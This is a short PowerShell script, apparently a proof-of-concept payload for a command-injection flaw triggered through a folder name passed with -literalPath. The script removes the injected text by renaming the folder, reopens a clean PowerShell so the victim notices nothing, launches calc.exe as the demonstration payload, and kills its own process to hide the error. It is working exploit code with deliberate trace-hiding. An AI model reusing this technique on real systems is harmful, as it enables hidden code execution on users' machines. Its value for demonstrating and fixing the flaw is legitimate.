# Get the current process $process = Get-CimInstance Win32_Process -Filter "ProcessId = $PID" # Extract the path including the exploit $literalPath = $process.CommandLine.Substring($process.CommandLine.indexOf('-literalPath') + 13).Trim('"') # Remove the exploit from the name $newPath = $literalPath.Substring(0, $literalPath.IndexOf(' ')) # Rename the folder to the new name Rename-Item -Path $literalPath -NewName $newPath # Start a new powershell into the folder # We need to do this weird var assign in case the folder has space in the name start "PowerShell.exe" -ArgumentList "-noexit -command `$p='$newPath'; Set-Location -literalPath `$p" # Calc start calc.exe # Kill the process to hide the error Stop-Process -Id $PID